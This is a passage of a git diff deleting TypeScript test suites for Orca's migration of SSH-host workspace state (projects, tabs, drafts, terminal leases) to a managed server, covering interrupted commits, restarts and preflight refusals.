reopenWithOlderBuildRelayRows(rows: Partial): Promise { - const dataFile = join(userDataPath, 'orca-data.json') - await store.flushPendingOrThrowAsync() - await store.freezeWritesAsync() - const persisted = JSON.parse(readPersistedStateJson(dataFile)) - writePersistedStateJson(dataFile, JSON.stringify({ ...persisted, ...rows })) - store = createSqliteTestStore(Store, { dataFile }) - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: SshConnectionStore wraps the real test store it is given. - sshStore = new SshConnectionStore(store as never) - mocks.state.targetStore = sshStore -} - -/** Lose both commit and later reads, as on a mid-commit tunnel drop. */ -function loseContactAtDeltaCommit(): () => void { - const read = destination.readState.getMockImplementation()! - let lost = false - destination.commit.mockImplementationOnce(async () => { - lost = true - throw new Error('socket closed') - }) - destination.readState.mockImplementation(async (manifest) => { - if (lost) { - throw new Error('socket closed') - } - return read(manifest) - }) - return () => { - lost = false - } -} - -describe('moving what an older build added to a converted host', () => { - it('previews additions and what the server keeps, then moves only the additions', async () => { - await convertedThenChangedOnOlderBuild() - const plan = planOrcadDeltaMove(userDataPath, store, store.getSshTarget(TARGET.id)!) - expect(plan.added.map((row) => row.id)).toEqual(['repo-2']) - expect(plan.notReflected.edited.map((row) => row.id)).toEqual(['repo-1']) - expect(plan.notReflected.removed).toEqual([]) - - await expect(deltaMove()).resolves.toMatchObject({ outcome: 'moved' }) - expect(destination.commits).toBe(2) - const journals = listOrcadMigrationSourceCutovers(userDataPath) - const [first, delta] = [...journals].sort((a) => (a.supersedesMigrationId ? 1 : -1)) - expect(delta?.supersedesMigrationId).toBe(first?.migrationId) - expect(delta?.manifest.payload.repositories.map((row) => row.id)).toEqual(['repo-2']) - expect(journals.every((journal) => journal.sourceRetainedAt)).toBe(true) - expect(store.getSshTarget(TARGET.id)?.orcadFence?.sourceChangedAt).toBeUndefined() - expect(visibleRepos(store, () => userDataPath)).toEqual([]) - await reconcileManagedOrcadSshTargets(userDataPath, store, now) - expect(store.getSshTarget(TARGET.id)?.orcadFence?.sourceChangedAt).toBeUndefined() - }) - - it('refuses, unjournaled, a delta under the export cap that no request can carry', async () => { - await convertedThenChangedOnOlderBuild() - const baseline = JSON.stringify( - planOrcadDeltaMove(userDataPath, store, store.getSshTarget(TARGET.id)!).manifest - ).length - // Under the export cap, over the sealed-frame request budget: stage, state and abort all refuse. - store.updateRepo(store.getRepo('repo-2')!, { - displayName: 'x'.repeat(MAX_ORCAD_MIGRATION_MANIFEST_BYTES - 200 - baseline) - }) - const plan = planOrcadDeltaMove(userDataPath, store, store.getSshTarget(TARGET.id)!) - expect(JSON.stringify(plan.manifest).length).toBeLessThanOrEqual( - MAX_ORCAD_MIGRATION_MANIFEST_BYTES - ) - - await expect(deltaMove()).rejects.toThrow(/\(orcad_migration_manifest_too_large\)$/) - expect(listOrcadMigrationSourceCutovers(userDataPath)).toHaveLength(1) - expect(destination.commits).toBe(1) - }) - - it('fails the whole delta when the server already holds a colliding row', async () => { - await convertedThenChangedOnOlderBuild() - destination.stage.mockRejectedValueOnce( - new Error('orcad_migration_repository_id_conflict:repo-2') - ) - await expect(deltaMove()).resolves.toMatchObject({ - outcome: 'refused', - code: 'orcad_delta_refused_by_server', - reason: 'orcad_migration_repository_id_conflict:repo-2' - }) - expect(destination.commits).toBe(1) - expect(listOrcadMigrationSourceCutovers(userDataPath)).toHaveLength(1) - expect(store.getSshTarget(TARGET.id)?.orcadFence?.sourceChangedAt).toBeDefined() - expect( - visibleRepos(store, () => userDataPath) - .map((row) => row.id) - .sort() - ).toEqual(['repo-1', 'repo-2']) - }) - - it('keeps the server version: back to managed, the older build changes stay unshown', async () => { - await convertedThenChangedOnOlderBuild() - await keepOrcadServerVersion({ - userDataPath, - store, - claims: sshStore.getOrcadRuntimeClaims(), - target: store.getSshTarget(TARGET.id)! - }) - expect(store.getSshTarget(TARGET.id)?.orcadFence?.sourceChangedAt).toBeUndefined() - expect(visibleRepos(store, () => userDataPath)).toEqual([]) - await reconcileManagedOrcadSshTargets(userDataPath, store, now) - expect(store.getSshTarget(TARGET.id)?.orcadFence?.sourceChangedAt).toBeUndefined() - expect(destination.commits).toBe(1) - }) - - it('survives a second downgrade and re-upgrade after the delta move', async () => { - await convertedThenChangedOnOlderBuild() - await deltaMove() - // A second trip to an older build adds another project. - store.addRepo(repo('repo-3', '/srv/docs')) - await reconcileManagedOrcadSshTargets(userDataPath, store, now) - expect(store.getSshTarget(TARGET.id)?.orcadFence?.sourceChangedAt).toBeDefined() - const plan = planOrcadDeltaMove(userDataPath, store, store.getSshTarget(TARGET.id)!) - expect(plan.added.map((row) => row.id)).toEqual(['repo-3']) - await expect(deltaMove()).resolves.toMatchObject({ outcome: 'moved' }) - expect(destination.commits).toBe(3) - expect(listOrcadMigrationSourceCutovers(userDataPath)).toHaveLength(3) - expect(visibleRepos(store, () => userDataPath)).toEqual([]) - }) - - it('moves what a downgrade added despite its exited terminal, tabs and client focus', async () => { - await convertedThenChangedOnOlderBuild() - await olderBuildSessionAfterDowngrade() - expect(store.getSshRemotePtyLeases(TARGET.id)).toHaveLength(1) - await reconcileManagedOrcadSshTargets(userDataPath, store, now) - - const plan = planOrcadDeltaMove(userDataPath, store, store.getSshTarget(TARGET.id)!) - expect(plan.blockers).toEqual([]) - expect(plan.added.map((row) => row.kind).sort()).toEqual([ - 'folder-workspace', - 'project-group', - 'repository' - ]) - await expect(deltaMove()).resolves.toMatchObject({ outcome: 'moved' }) - const delta = listOrcadMigrationSourceCutovers(userDataPath).find( - (journal) => journal.supersedesMigrationId - ) - const session = delta?.manifest.payload.dormantState?.workspaceSession - expect(Object.values(session?.tabsByWorktree ?? {}).flat()).toMatchObject([ - { id: 'tab-term', ptyId: null } - ]) - expect(session?.unifiedTabs?.['repo-1::/srv/app']).toBeUndefined() - }) - - // COMPAT(legacy-relay-bridge): a live relay terminal no longer blocks the move; the bridge keeps it. - it('moves while a downgrade’s terminal still runs, leaving its lease to the bridge', async () => { - await convertedThenChangedOnOlderBuild() - await olderBuildSessionAfterDowngrade() - await reconcileManagedOrcadSshTargets(userDataPath, store, now) - await expect(deltaMove(now, 'live')).resolves.toMatchObject({ outcome: 'moved' }) - const delta = listOrcadMigrationSourceCutovers(userDataPath).find( - (journal) => journal.supersedesMigrationId - ) - const [lease] = store.getSshRemotePtyLeases(TARGET.id) - expect(delta).toMatchObject({ provenPtyIds: [], bridgedPtyIds: [lease.ptyId] }) - expect(lease.state).not.toBe('terminated') - }) - - it('keeps a delta journaled and the host marked when the tunnel cannot open', async () => { - await convertedThenChangedOnOlderBuild() - await expect( - deltaMove(now, 'exited', async () => { - throw new Error('ssh: connection reset') - }) - ).rejects.toThrow('connection reset') - expect(destination.commits).toBe(1) - expect(listOrcadMigrationSourceCutovers(userDataPath)).toHaveLength(2) - expect(store.getSshTarget(TARGET.id)?.orcadFence?.sourceChangedAt).toBeDefined() - await expect(deltaMove()).resolves.toMatchObject({ outcome: 'moved' }) - expect(destination.commits).toBe(2) - }) - - it('resumes a delta whose commit lost contact, keeping the host marked meanwhile', async () => { - await convertedThenChangedOnOlderBuild() - const reconnect = loseContactAtDeltaCommit() - await expect(deltaMove()).rejects.toThrow('socket closed') - expect(listOrcadMigrationSourceCutovers(userDataPath)).toHaveLength(2) - expect(store.getSshTarget(TARGET.id)?.orcadFence?.sourceChangedAt).toBeDefined() - - reconnect() - await expect(deltaMove()).resolves.toMatchObject({ outcome: 'moved' }) - expect(destination.commits).toBe(2) - expect(listOrcadMigrationSourceCutovers(userDataPath)).toHaveLength(2) - expect(store.getSshTarget(TARGET.id)?.orcadFence?.sourceChangedAt).toBeUndefined() - }) - - // Interrupted older deltas may include a moved group still referenced by their new row. - it('resumes an older build’s interrupted delta that exported a moved group', async () => { - const group = store.createProjectGroup({ - name: 'Apps', - parentPath: '/srv', - connectionId: TARGET.id, - createdFrom: 'manual' - }) - store.moveProjectToGroup(store.getRepo('repo-1')!, group.id) - await convertedThenChangedOnOlderBuild() - store.moveProjectToGroup(store.getRepo('repo-2')!, group.id) - const reconnect = loseContactAtDeltaCommit() - await expect(deltaMove()).rejects.toThrow('socket closed') - const target = store.getSshTarget(TARGET.id)! - const [first, delta] = listOrcadMigrationCutoverChainForTarget(userDataPath, TARGET.id) - // The delta source an older build cut, which still exported every group a new row sits in. - const olderSource = orcadSourceStoreWithout( - store, - target, - orcadMigrationCatalogIds([first!.manifest.payload]), - first!.destinationEnvironmentId - ) - const manifest = createOrcadMigrationManifest(olderSource, target, { - migrationId: delta!.migrationId, - destinationEnvironmentId: delta!.destinationEnvironmentId, - now: () => new Date(delta!.manifest.createdAt) - }) - expect(manifest.payload.projectGroups.map((entry) => entry.id)).toEqual([group.id]) - writeOrcadMigrationSourceCutover(userDataPath, { - ...delta!, - manifest, - manifestSha256: manifest.manifestSha256 - }) - - reconnect() - await expect(deltaMove()).resolves.toMatchObject({ outcome: 'moved' }) - }) - - it('backs out an interrupted delta the source has since outgrown, then moves afresh', async () => { - await convertedThenChangedOnOlderBuild() - const reconnect = loseContactAtDeltaCommit() - await expect(deltaMove()).rejects.toThrow('socket closed') - reconnect() - await expect( - keepOrcadServerVersion({ - userDataPath, - store, - claims: sshStore.getOrcadRuntimeClaims(), - target: store.getSshTarget(TARGET.id)! - }) - ).rejects.toThrow('orcad_delta_move_unfinished') - - store.addRepo(repo('repo-3', '/srv/docs')) - await expect(deltaMove()).resolves.toMatchObject({ - outcome: 'refused', - reason: 'orcad_migration_source_changed' - }) - expect(listOrcadMigrationSourceCutovers(userDataPath)).toHaveLength(1) - expect(store.getSshTarget(TARGET.id)?.orcadFence?.sourceChangedAt).toBeDefined() - await expect(deltaMove()).resolves.toMatchObject({ outcome: 'moved' }) - expect(destination.commits).toBe(2) - }) - - it('refuses a delta whose source changes while it stages', async () => { - await convertedThenChangedOnOlderBuild() - const stage = destination.stage.getMockImplementation()! - destination.stage.mockImplementationOnce(async (manifest) => { - store.addRepo(repo('repo-3', '/srv/docs')) - return stage(manifest) - }) - await expect(deltaMove()).resolves.toMatchObject({ - outcome: 'refused', - reason: 'orcad_migration_source_changed' - }) - expect(destination.commits).toBe(1) - expect(listOrcadMigrationSourceCutovers(userDataPath)).toHaveLength(1) - }) - - it('runs one of two concurrent moves; the other finds it superseded', async () => { - await convertedThenChangedOnOlderBuild() - const results = await Promise.all([deltaMove(), deltaMove()]) - expect(results.map((result) => result.outcome).sort()).toEqual(['moved', 'refused']) - expect(destination.commits).toBe(2) - expect(listOrcadMigrationSourceCutovers(userDataPath)).toHaveLength(2) - }) - - it('gives a delta a crash interrupted its mark back on the next start', async () => { - await convertedThenChangedOnOlderBuild() - const reconnect = loseContactAtDeltaCommit() - await expect(deltaMove()).rejects.toThrow('socket closed') - reconnect() - // Model a crash after journal write but before the migration mark returned. - const environmentId = store.getSshTarget(TARGET.id)!.orcadFence!.environmentId - store.updateSshTarget(TARGET.id, { orcadFence: { environmentId } }) - expect(visibleRepos(store, () => userDataPath)).toHaveLength(2) - await reconcileManagedOrcadSshTargets(userDataPath, store, now) - expect(store.getSshTarget(TARGET.id)?.orcadFence?.sourceChangedAt).toBeDefined() - await expect(deltaMove()).resolves.toMatchObject({ outcome: 'moved' }) - }) -}) - -const HOST_ID = `ssh:${TARGET.id}` as const - -function saveDraft(worktreeId: string, content: string): void { - store.setWorkspaceSession( - { - ...store.getWorkspaceSession(HOST_ID), - openFilesByWorktree: { - [worktreeId]: [ - { - filePath: '/srv/notes.md', - relativePath: 'notes.md', - worktreeId, - language: 'markdown', - dirtyDraftContent: content - } - ] - } - }, - HOST_ID - ) -} - -function savedDraft(worktreeId: string): string | undefined { - return store.getWorkspaceSession(HOST_ID).openFilesByWorktree?.[worktreeId]?.[0] - ?.dirtyDraftContent -} - -async function convertKeepingSource(): Promise { - await expect( - convertSshTargetToManagedOrcad(userDataPath, { - sshTargetId: TARGET.id, - name: 'Managed', - censusHost: async () => ({ verdict: 'exited', count: 0 }), - destinationFor: () => destination, - now - }) - ).resolves.toMatchObject({ outcome: 'converted' }) -} - -function retainedRows(): string { - return JSON.stringify({ - repos: store.getRepos(), - folderWorkspaces: store.getFolderWorkspaces(), - projectGroups: store.getProjectGroups(), - hostSession: store.getWorkspaceSession(HOST_ID), - localSession: store.getWorkspaceSession() - }) -} - -const expectAllRetained = () => - expect(listOrcadMigrationSourceCutovers(userDataPath).every((j) => j.sourceRetainedAt)).toBe(true) - -/** Committed connects retain source rows without a retirement step. */ -async function connectAgain(): Promise { - const target = store.getSshTarget(TARGET.id)! - const environmentId = target.orcadFence!.environmentId - await resolveHostServerOnConnect(target, { - ...hostServerDepsStub(), - managedEnvironmentId: () => environmentId, - retainCommittedSource: async (host) => { - const head = listOrcadMigrationSourceCutovers(userDataPath).find( - (journal) => journal.sshTargetId === host.id && !journal.sourceRetainedAt - ) - if (head?.phase === 'destination-committed') { - await retainOrcadMigrationSource(userDataPath, head.migrationId, store, now) - } - return 0 - } - }) -} - -/** Reopen profile and journals from disk to model restart. */ -async function restart(): Promise { - await store.flushPendingOrThrowAsync() - await closeTestStores() - store = createSqliteTestStore(Store, { dataFile: join(userDataPath, 'orca-data.json') }) - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: SshConnectionStore wraps the real test store it is given. - sshStore = new SshConnectionStore(store as never) - mocks.state.targetStore = sshStore - await reconcileManagedOrcadSshTargets(userDataPath, store, now) -} - -describe('a retained source is never deleted', () => { - it.each([ - ['a repository worktree', () => 'repo-1::/srv/app'], - [ - 'a folder workspace on a folder-only host', - () => { - store.removeProjectForHost({ id: 'repo-1', executionHostId: `ssh:${TARGET.id}` }) - const group = store.createProjectGroup({ - name: 'folders', - parentPath: '/srv/folders', - connectionId: TARGET.id, - createdFrom: 'manual' - }) - const folder = store.createFolderWorkspace({ - projectGroupId: group.id, - folderPath: '/srv/folders/notes', - connectionId: TARGET.id - }) - return folderWorkspaceKey(folder.id) - } - ] - ])('in %s, across connects and a restart', async (_label, workspace) => { - const worktreeId = workspace() - saveDraft(worktreeId, 'draft before migration') - await convertKeepingSource() - // A reload only fills defaults; the snapshot is taken as stored. - await restart() - const kept = retainedRows() - - await connectAgain() - expect(retainedRows()).toBe(kept) - await restart() - await connectAgain() - expect(retainedRows()).toBe(kept) - expect(savedDraft(worktreeId)).toBe('draft before migration') - expectAllRetained() - }) - - // Identity changes mark the source changed; edits inside moved projects remain retained only. - it('keeps an older build’s draft edit without marking the host changed', async () => { - saveDraft('repo-1::/srv/app', 'draft before migration') - await convertKeepingSource() - saveDraft('repo-1::/srv/app', 'draft after downgrade') - await reconcileManagedOrcadSshTargets(userDataPath, store, now) - expect(store.getSshTarget(TARGET.id)?.orcadFence?.sourceChangedAt).toBeUndefined() - - await connectAgain() - await restart() - await connectAgain() - expect(savedDraft('repo-1::/srv/app')).toBe('draft after downgrade') - expectAllRetained() - }) - - it('keeps every row through a delta move and through keeping the server version', async () => { - await convertedThenChangedOnOlderBuild() - await restart() - const kept = retainedRows() - await expect(deltaMove()).resolves.toMatchObject({ outcome: 'moved' }) - expect(retainedRows()).toBe(kept) - await restart() - await connectAgain() - expect(retainedRows()).toBe(kept) - - store.addRepo(repo('repo-3', '/srv/docs')) - await reconcileManagedOrcadSshTargets(userDataPath, store, now) - const changed = retainedRows() - await keepOrcadServerVersion({ - userDataPath, - store, - claims: sshStore.getOrcadRuntimeClaims(), - target: store.getSshTarget(TARGET.id)! - }) - expect(retainedRows()).toBe(changed) - await restart() - await connectAgain() - expect(retainedRows()).toBe(changed) - expectAllRetained() - }) -}) diff --git a/src/main/managed-server/migration/cutover/orcad-migration-stuck-host-profiles.test.ts b/src/main/managed-server/migration/cutover/orcad-migration-stuck-host-profiles.test.ts deleted file mode 100644 index 274bbebe059..00000000000 --- a/src/main/managed-server/migration/cutover/orcad-migration-stuck-host-profiles.test.ts +++ /dev/null @@ -1,619 +0,0 @@ -import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, describe, expect, it } from 'vitest' -import { getDefaultPersistedState, getDefaultWorkspaceSession } from '../../../../shared/constants' -import type { FolderWorkspace } from '../../../../shared/folder-workspaces/folder-workspace-types' -import type { PersistedState } from '../../../../shared/persisted-state-types' -import type { SshRemotePtyLease, SshTarget } from '../../../../shared/remote-runtime/ssh/ssh-types' -import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' -import { - closeTestStores, - createSqliteTestStore -} from '../../../persistence/persistence-test-harness' -import { Store } from '../../../persistence/loading-store/store' -import { - fenceOrcadMigrationSource, - ORCAD_MIGRATION_LEAVE_BEHIND_TERMINALS -} from '../../../ssh/migration-source/orcad-migration-source-fence' -import { - assessOrcadMigrationTerminals, - retireProvenExitedLeases, - type HostRelayTerminalProof -} from '../../../ssh/migration-source/orcad-migration-terminal-gate' -import { SshTargetOrcadClaims } from '../../../ssh/targets/ssh-target-orcad-claims' -import { getManagedOrcadFenceEnvironmentId } from '../../../../shared/remote-runtime/ssh/managed-orcad-ssh-owner' -import { listOrcadMigrationSourceCutovers } from '../../../persistence/migrating-orcad-catalog/cutover-journals/orcad-migration-cutover-journal' -import { - leaveBehindClearsOrcadMigrationBlockers, - onlyLeavableOrcadMigrationBlockers -} from '../../../ssh/targets/ssh-target-orcad-preflight' -import { ownedEditorFileId } from '../../../../shared/workspace-session/workspace-session-pane-ownership' -import { allowsDirectSshRelay } from '../../../ssh/targets/ssh-target-runtime-ownership' - -// Load relay-era profiles through the real Store, then exercise terminal proof, lease retirement and fenced preflight. - -const TARGET: SshTarget = { - id: 'ssh-wsl', - label: 'wsl', - host: '127.0.0.1', - port: 22, - username: 'dev', - generation: 1 -} -const HOST = `ssh:${TARGET.id}` -const LEAF = '11111111-1111-4111-8111-111111111111' - -const directories: string[] = [] -afterEach(async () => { - await closeTestStores() - for (const directory of directories.splice(0)) { - rmSync(directory, { recursive: true, force: true }) - } -}) - -function relayEraProfile(projects: number): PersistedState { - const state = getDefaultPersistedState('/home/dev') - state.sshTargets = [TARGET] - state.repos = Array.from({ length: projects }, (_, index) => ({ - id: `repo-${index}`, - path: `/home/dev/src/project-${index}`, - displayName: `project-${index}`, - badgeColor: '#737373', - addedAt: 1, - kind: 'git' as const, - connectionId: TARGET.id - })) - state.workspaceSessionsByHostId = { [HOST]: getDefaultWorkspaceSession() } - return state -} - -function openTerminal( - session: WorkspaceSessionState, - worktreeId: string, - tabId: string, - leafId = LEAF -): void { - session.tabsByWorktree[worktreeId] = [ - { - id: tabId, - ptyId: null, - worktreeId, - title: 'bash', - customTitle: null, - color: null, - sortOrder: 0, - createdAt: 1 - } - ] - session.terminalLayoutsByTabId[tabId] = { - root: { type: 'leaf', leafId }, - activeLeafId: leafId, - expandedLeafId: null - } - session.unifiedTabs = { - ...session.unifiedTabs, - [worktreeId]: [ - { - id: tabId, - entityId: tabId, - groupId: `group-${tabId}`, - worktreeId, - contentType: 'terminal', - label: 'bash', - customLabel: null, - color: null, - sortOrder: 0, - createdAt: 1 - } - ] - } - session.tabGroups = { - ...session.tabGroups, - [worktreeId]: [{ id: `group-${tabId}`, worktreeId, activeTabId: tabId, tabOrder: [tabId] }] - } -} - -function load(profile: PersistedState) { - const userDataPath = mkdtempSync(join(tmpdir(), 'orcad-stuck-host-')) - directories.push(userDataPath) - const dataFile = join(userDataPath, 'orca-data.json') - writeFileSync(dataFile, JSON.stringify(profile)) - const store = createSqliteTestStore(Store, { dataFile }) - return { userDataPath, store, claims: new SshTargetOrcadClaims(store) } -} - -/** Match connect order: terminal proof, lease retirement, then fence. */ -async function connectMove( - loaded: ReturnType, - census: HostRelayTerminalProof = { verdict: 'exited', count: 0 } -) { - const proof = await assessOrcadMigrationTerminals(loaded.store, TARGET.id, async () => census) - if (proof.verdict === 'live' || proof.verdict === 'unverifiable') { - return { outcome: 'refused', reason: proof.reason } - } - retireProvenExitedLeases(loaded.store, TARGET.id, proof) - return fenceOrcadMigrationSource({ - userDataPath: loaded.userDataPath, - store: loaded.store, - claims: loaded.claims, - targetId: TARGET.id, - destinationEnvironmentId: 'env-managed', - destinationName: 'wsl', - terminalProof: proof - }) -} - -describe('a phone user upgrading every SSH host (WeChat report)', () => { - function phoneUserProfile(): PersistedState { - const state = relayEraProfile(2) - const host = state.workspaceSessionsByHostId![HOST]! - const worktreeId = 'repo-0::/home/dev/src/project-0' - openTerminal(host, worktreeId, 'tab-1') - // A browser tab the runtime opened, or one switched back to Default. - host.browserTabsByWorktree = { - [worktreeId]: [ - { - id: 'browser-1', - worktreeId, - url: 'https://example.test/', - title: 'Example', - loading: false, - faviconUrl: null, - canGoBack: false, - canGoForward: false, - loadError: null, - createdAt: 1, - sessionProfileId: null, - sessionPartition: 'persist:orca-browser' - } - ] - } - state.mobileClientTabSelectionsByDeviceId = { - // The runtime names a phone's terminal by its pane. - phone: { - [worktreeId]: { - activeTabId: `tab-1::${LEAF}`, - activeGroupId: 'group-tab-1', - activeTabIdByGroupId: { 'group-tab-1': 'tab-1' } - } - }, - tablet: { - [worktreeId]: { activeTabId: 'closed-tab', activeGroupId: null, activeTabIdByGroupId: {} } - } - } - return state - } - - it('moves the host and keeps the phone on its pane', async () => { - const loaded = load(phoneUserProfile()) - const result = await connectMove(loaded) - expect(result).toMatchObject({ outcome: 'fenced' }) - if (!('cutover' in result)) { - return - } - const clientState = result.cutover.manifest.payload.dormantState?.clientState - expect(clientState?.mobileClientTabSelectionsByDeviceId).toEqual({ - phone: { - 'repo-0::/home/dev/src/project-0': { - activeTabId: `tab-1::${LEAF}`, - activeGroupId: 'group-tab-1', - activeTabIdByGroupId: { 'group-tab-1': 'tab-1' } - } - } - }) - }) -}) - -describe('#29083: about 14 projects, folders, a saved session and relay-era leases', () => { - function reportedProfile(): PersistedState { - const state = relayEraProfile(14) - state.projectGroups = [ - { - id: 'group-folders', - name: 'folders', - parentPath: '/home/dev/notes', - connectionId: TARGET.id, - parentGroupId: null, - createdFrom: 'manual', - tabOrder: 0, - isCollapsed: false, - color: null, - createdAt: 1, - updatedAt: 1 - } - ] - state.folderWorkspaces = ['notes', 'scratch', 'docs'].map((name): FolderWorkspace => ({ - id: `folder-${name}`, - projectGroupId: 'group-folders', - name, - folderPath: `/home/dev/notes/${name}`, - connectionId: TARGET.id, - linkedTask: null, - comment: '', - isArchived: false, - isUnread: false, - isPinned: false, - sortOrder: 0, - lastActivityAt: 1, - createdAt: 1, - updatedAt: 1 - })) - const host = state.workspaceSessionsByHostId![HOST]! - // Pane ids are unique across tabs; the server refuses a repeat. - for (const index of [0, 3, 7]) { - openTerminal( - host, - `repo-${index}::/home/dev/src/project-${index}`, - `tab-${index}`, - index === 0 ? LEAF : `leaf-${index}` - ) - } - openTerminal(host, 'folder:folder-notes', 'tab-notes', 'leaf-notes') - const lease = (ptyId: string, state: SshRemotePtyLease['state']): SshRemotePtyLease => ({ - targetId: TARGET.id, - ptyId, - worktreeId: 'repo-0::/home/dev/src/project-0', - tabId: 'tab-0', - leafId: LEAF, - state, - createdAt: 1, - updatedAt: 1 - }) - // A 1.4.224 that was killed with terminals open never got to detach them. - state.sshRemotePtyLeases = [ - lease('pty-attached-1', 'attached'), - lease('pty-attached-2', 'attached'), - lease('pty-detached', 'detached'), - lease('pty-expired', 'expired') - ] - return state - } - - it('moves once the host proves no relay is left, folders and tabs included', async () => { - const loaded = load(reportedProfile()) - const result = await connectMove(loaded) - expect(result).toMatchObject({ outcome: 'fenced' }) - if (!('cutover' in result)) { - return - } - const payload = result.cutover.manifest.payload - expect(payload.repositories).toHaveLength(14) - expect(payload.folderWorkspaces.map((folder) => folder.id).sort()).toEqual([ - 'folder-docs', - 'folder-notes', - 'folder-scratch' - ]) - expect(Object.keys(payload.dormantState?.workspaceSession?.tabsByWorktree ?? {})).toHaveLength( - 4 - ) - expect( - loaded.store.getSshRemotePtyLeases(TARGET.id).every((entry) => entry.state === 'terminated') - ).toBe(true) - }) - - it('still converts through the bridge when old relays may run, retiring nothing', async () => { - const loaded = load(reportedProfile()) - const result = await connectMove(loaded, { verdict: 'live', count: 2 }) - expect(result).toMatchObject({ outcome: 'fenced' }) - expect( - loaded.store - .getSshRemotePtyLeases(TARGET.id) - .filter((entry) => entry.state !== 'terminated') - .map((entry) => entry.ptyId) - ).toEqual(['pty-attached-1', 'pty-attached-2', 'pty-detached', 'pty-expired']) - }) -}) - -describe('"Move anyway"', () => { - const worktreeId = 'repo-0::/home/dev/src/project-0' - - function savedStateOnly(): PersistedState { - const state = relayEraProfile(1) - const host = state.workspaceSessionsByHostId![HOST]! - openTerminal(host, worktreeId, 'tab-1') - host.openFilesByWorktree = { - [worktreeId]: [ - { - filePath: '/etc/hosts', - relativePath: 'hosts', - worktreeId, - language: 'plaintext', - externalSshTargetId: TARGET.id, - dirtyDraftContent: 'unsaved edit' - } - ] - } - host.unifiedTabs![worktreeId]!.push({ - id: 'runtime-tab', - entityId: 'runtime-tab', - groupId: 'group-tab-1', - worktreeId, - executionHostId: 'runtime:env-other', - contentType: 'terminal', - label: 'elsewhere', - customLabel: null, - color: null, - sortOrder: 1, - createdAt: 1 - }) - // The desktop's older copy disagrees with the host's. - state.workspaceSession.tabsByWorktree[worktreeId] = [ - { ...host.tabsByWorktree[worktreeId]![0]!, id: 'older-tab' } - ] - return state - } - - it('is offered when only saved state blocks', async () => { - const loaded = load(savedStateOnly()) - const result = await connectMove(loaded) - expect(result).toMatchObject({ outcome: 'refused', code: 'orcad_migration_preflight_blocked' }) - expect('blockers' in result && onlyLeavableOrcadMigrationBlockers(result.blockers ?? [])).toBe( - true - ) - // A refused move leaves no fence or journal, so a downgraded build still connects as before. - expect(getManagedOrcadFenceEnvironmentId(loaded.store.getSshTarget(TARGET.id))).toBeNull() - expect(listOrcadMigrationSourceCutovers(loaded.userDataPath)).toEqual([]) - }) - - it('moves what it can and leaves the rest in the retained profile', async () => { - const loaded = load(savedStateOnly()) - confirmed(loaded) - const before = structuredClone(loaded.store.getWorkspaceSession(HOST)) - const result = await connectMove(loaded) - expect(result).toMatchObject({ outcome: 'fenced' }) - if (!('cutover' in result)) { - return - } - const session = result.cutover.manifest.payload.dormantState?.workspaceSession - expect(session?.tabsByWorktree[worktreeId]?.map((tab) => tab.id)).toEqual(['tab-1']) - expect(session?.unifiedTabs?.[worktreeId]?.map((tab) => tab.id)).toEqual(['tab-1']) - expect(session?.openFilesByWorktree?.[worktreeId] ?? []).toEqual([]) - // Refusal must preserve both the draft and older desktop copy. - expect(loaded.store.getWorkspaceSession(HOST)).toEqual(before) - expect( - loaded.store.getWorkspaceSession().tabsByWorktree[worktreeId]?.map((tab) => tab.id) - ).toEqual(['older-tab']) - }) - - function confirmed(loaded: ReturnType): void { - loaded.store.updateSshTarget(TARGET.id, { - managedServerLeaveBehind: { confirmedAt: '2026-10-15T00:00:00.000Z' } - }) - } - - it("still refuses an unsaved draft only this desktop's session holds, and names it", async () => { - const state = savedStateOnly() - const host = state.workspaceSessionsByHostId![HOST]! - state.workspaceSession.openFilesByWorktree = structuredClone(host.openFilesByWorktree) - host.openFilesByWorktree = {} - delete state.workspaceSession.tabsByWorktree[worktreeId] - const loaded = load(state) - confirmed(loaded) - await expect(connectMove(loaded)).resolves.toMatchObject({ - outcome: 'refused', - reason: expect.stringContaining('unsaved changes to /etc/hosts in /home/dev/src/project-0') - }) - }) - - it("moves past an unsaved draft of the host's own file that only this desktop holds", async () => { - const state = savedStateOnly() - state.workspaceSession.openFilesByWorktree = { - [worktreeId]: [ - { - filePath: '/home/dev/src/project-0/notes.md', - relativePath: 'notes.md', - worktreeId, - language: 'markdown', - dirtyDraftContent: 'desktop draft' - } - ] - } - delete state.workspaceSession.tabsByWorktree[worktreeId] - const loaded = load(state) - confirmed(loaded) - const result = await connectMove(loaded) - expect(result).toMatchObject({ outcome: 'fenced' }) - if ('cutover' in result) { - expect( - loaded.store.collectOrcadMigrationSourceDrafts(result.cutover.manifest)[worktreeId] - ).toEqual([expect.objectContaining({ dirtyDraftContent: 'desktop draft' })]) - } - }) - - it('still refuses two different unsaved versions of one file, since only one can be renamed', async () => { - const state = savedStateOnly() - const notes = (dirtyDraftContent: string) => ({ - filePath: '/home/dev/src/project-0/notes.md', - relativePath: 'notes.md', - worktreeId, - language: 'markdown', - dirtyDraftContent - }) - state.workspaceSessionsByHostId![HOST]!.openFilesByWorktree![worktreeId]!.push(notes('host')) - state.workspaceSession.openFilesByWorktree = { [worktreeId]: [notes('desktop')] } - // An unrelated project's draft must not let the clash slip past as a left-behind item. - state.workspaceSessionsByHostId![HOST]!.openFilesByWorktree!['repo-9::/srv/other'] = [ - { ...notes('other project'), worktreeId: 'repo-9::/srv/other', filePath: '/srv/other/x.md' } - ] - const loaded = load(state) - confirmed(loaded) - await expect(connectMove(loaded)).resolves.toMatchObject({ - outcome: 'refused', - reason: expect.stringContaining('unsaved changes to /home/dev/src/project-0/notes.md') - }) - }) - - it("keeps the desktop copy's drafts here when the host's copy of the tabs wins", async () => { - const state = savedStateOnly() - state.workspaceSession.openFilesByWorktree = { - [worktreeId]: [ - { - filePath: '/home/dev/src/project-0/notes.md', - relativePath: 'notes.md', - worktreeId, - language: 'markdown', - dirtyDraftContent: 'desktop draft' - } - ] - } - const loaded = load(state) - confirmed(loaded) - const result = await connectMove(loaded) - expect(result).toMatchObject({ outcome: 'fenced' }) - if (!('cutover' in result)) { - return - } - const session = result.cutover.manifest.payload.dormantState?.workspaceSession - expect(session?.tabsByWorktree[worktreeId]?.map((tab) => tab.id)).toEqual(['tab-1']) - // Transfer tabs in the manifest, then rename drafts into this desktop's server partition. - expect(session?.openFilesByWorktree?.[worktreeId]).toEqual([ - expect.not.objectContaining({ dirtyDraftContent: 